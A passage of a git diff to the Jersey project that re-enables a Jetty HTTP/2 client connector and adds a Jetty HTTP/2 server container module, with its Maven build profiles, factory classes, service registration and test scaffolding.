+                .register(new JettyHttp2ClientSupplier(httpClient));
+        final Client client = ClientBuilder.newClient(clientConfig);
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+                httpClient, is(hcOnTarget));
+    }
+}
\ No newline at end of file
diff --git a/connectors/pom.xml b/connectors/pom.xml
index 2e78ded..1de6f13 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -40,7 +40,7 @@
         <module>helidon-connector</module>
         <module>jdk-connector</module>
         <module>jetty-connector</module>
-<!--        <module>jetty11-http2-connector</module>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+        <module>jetty-http2-connector</module>
         <module>jetty11-connector</module>
         <module>jnh-connector</module>
         <module>netty-connector</module>
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
new file mode 100644
index 0000000..ece6322
--- /dev/null
+++ b/containers/jetty-http2/pom.xml
@@ -0,0 +1,281 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.containers</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-container-jetty-http2</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-container-jetty-http2</name>
+
+    <description>Jetty Http2 Container</description>
+
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-alpn-conscrypt-server</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpclient</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
+
+        <resources>
+            <resource>
+                <directory>${basedir}/src/main/resources</directory>
+                <filtering>true</filtering>
+            </resource>
+        </resources>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>JettyExclude</id>
+            <activation>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
+            <build>
+                <directory>${java11.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java11.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-server</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-server</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+            </dependencies>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
+            <activation>
+                <file>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists>
+                </file>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.felix</groupId>
+                        <artifactId>maven-bundle-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <instructions>
+                                <Multi-Release>true</Multi-Release>
+                            </instructions>
+                        </configuration>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-resources-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-classes</id>
+                                <phase>prepare-package</phase>
+                                <goals>
+                                    <goal>copy-resources</goal>
+                                </goals>
+                                <configuration>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
+                                    <resources>
+                                        <resource>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
+                                        </resource>
+                                    </resources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-antrun-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-sources</id>
+                                <phase>package</phase>
+                                <configuration>
+                                    <target>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <echo>sources-jar: ${sources-jar}</echo>
+                                        <zip destfile="${sources-jar}" update="true">
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
+                                        </zip>
+                                    </target>
+                                </configuration>
+                                <goals>
+                                    <goal>run</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+</project>
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
new file mode 100644
index 0000000..01c61fc
--- /dev/null
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import static org.glassfish.jersey.jetty.JettyHttpContainerProvider.HANDLER_NAME;
+
+public final class JettyHttp2ContainerProvider implements ContainerProvider {
+
+    @Override
+    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
+        if (JdkVersion.getJdkVersion().getMajor() < 11) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+            return type.cast(new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, application));
+        }
+        return null;
+    }
+}
+
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
new file mode 100644
index 0000000..3c43588
--- /dev/null
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey Jetty HTTP2 container classes.
+ */
+package org.glassfish.jersey.jetty.http2;
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 0000000..cdea00a
--- /dev/null
+++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+    private JettyHttp2ContainerFactory() {
+
+    }
+
+    public static Server createHttp2Server(final URI uri) throws ProcessingException {
+        validateJdk();
+        return null; // does not work at JDK lower than 17
+    }
+
+    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        validateJdk();
+        return null; // does not work at JDK lower than 17
+    }
+
+    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+        validateJdk();
+        return null; // does not work at JDK lower than 17
+    }
+
+    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+                                           final Object parentContext) {
+        validateJdk();
+        return null; // does not work at JDK lower than 17
+    }
+
+    public static Server createHttp2Server(final URI uri,
+                                           final SslContextFactory.Server sslContextFactory,
+                                           final JettyHttpContainer handler,
+                                           final boolean start) {
+
+        validateJdk();
+        return null; // does not work at JDK lower than 17
+    }
+
+    private static void validateJdk() {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+    }
+}
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 0000000..b03f409
--- /dev/null
+++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+    private JettyHttp2ContainerFactory() {
+
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *            segment will be used as context path, the rest will be ignored.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri) throws ProcessingException {
+        return createHttp2Server(uri, null, null, true);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
+     *                      used as context path, the rest will be ignored.
+     * @param configuration web application configuration.
+     * @param start         if set to false, server will not get started, which allows to configure the underlying
+     *                      transport layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        return createHttp2Server(uri, null,
+                ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *              segment will be used as context path, the rest will be ignored.
+     * @param start if set to false, server will not get started, which allows to configure the underlying transport
+     *              layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     *
+     * @since 2.40
+     */
+
+    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+        return createHttp2Server(uri, null, null, start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @param start         if set to false, server will not get started, this allows end users to set
+     *                      additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+                                           final Object parentContext) {
+        return createHttp2Server(uri, null,
+                new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
+                        config, parentContext), start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes found by searching the
+     * classes referenced in the java classpath.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param handler           the container that handles all HTTP requests
+     * @param start             if set to false, server will not get started, this allows end users to set
+     *                          additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri,
+                                           final SslContextFactory.Server sslContextFactory,
+                                           final JettyHttpContainer handler,
+                                           final boolean start) {
+
+        /**
+         * Creating basic Jetty HTTP/1.1 container (but always not started)
+         */
+        final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+        /**
+         * Obtain configured HTTP connection factory
+         */
+        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+        /**
+         * Obtain prepared config
+         */
+        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+        /**
+         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+         */
+        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
+
+        /**
+         * adding connection factories for H2/H2C protocol
+         */
+        for (final ConnectionFactory factory : factories) {
+            httpServerConnector.addConnectionFactory(factory);
+        }
+        server.setConnectors(new Connector[]{httpServerConnector});
+
+        /**
+         * Starting the server if required
+         */
+        if (start) {
+            try {
+                // Start the server.
+                server.start();
+            } catch (final Exception e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+            }
+        }
+        return server;
+    }
+
+    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
+                                                                  final SslContextFactory.Server sslContextFactory) {
+        final List<ConnectionFactory> factories = new ArrayList<>();
+        if (sslContextFactory != null) {
+            factories.add(new HTTP2ServerConnectionFactory(config));
+            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+            alpn.setDefaultProtocol("h2");
+            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+            factories.add(alpn);
+        } else {
+            factories.add(new HTTP2CServerConnectionFactory(config));
+        }
+
+        return factories;
+    }
+}
diff --git a/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..4d2a88d
--- /dev/null
+++ b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.http2.JettyHttp2ContainerProvider
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
new file mode 100644
index 0000000..ba290bd
--- /dev/null
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+error.when.creating.server=Exception thrown when trying to create jetty server.
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
new file mode 100644
index 0000000..d3a68a8
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+    private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+    public static final String CONTEXT = "";
+    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i <= 0) {
+                    throw new NumberFormatException("Value not positive.");
+                }
+                return i;
+            } catch (NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid positive integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+        return DEFAULT_PORT;
+    }
+
+    private final int getPort(RuntimeType runtimeType) {
+        switch (runtimeType) {
+            case SERVER:
+                return getPort();
+            case CLIENT:
+                return server.getURI().getPort();
+            default:
+                throw new IllegalStateException("Unexpected runtime type");
+        }
+    }
+
+    private volatile Server server;
+
+    public UriBuilder getUri() {
+        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+    }
+
+    public void startServer(Class<?>... resources) {
+        ResourceConfig config = new ResourceConfig(resources);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final URI baseUri = getBaseUri();
+        server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public void startServer(ResourceConfig config) {
+        final URI baseUri = getBaseUri();
+        server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+    }
+
+    public URI getBaseUri() {
+        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+    }
+
+    public void stopServer() {
+        try {
+            server.stop();
+            server = null;
+            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterEach
+    public void tearDown() {
+        if (server != null) {
+            stopServer();
+        }
+    }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
new file mode 100644
index 0000000..7828d9b
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
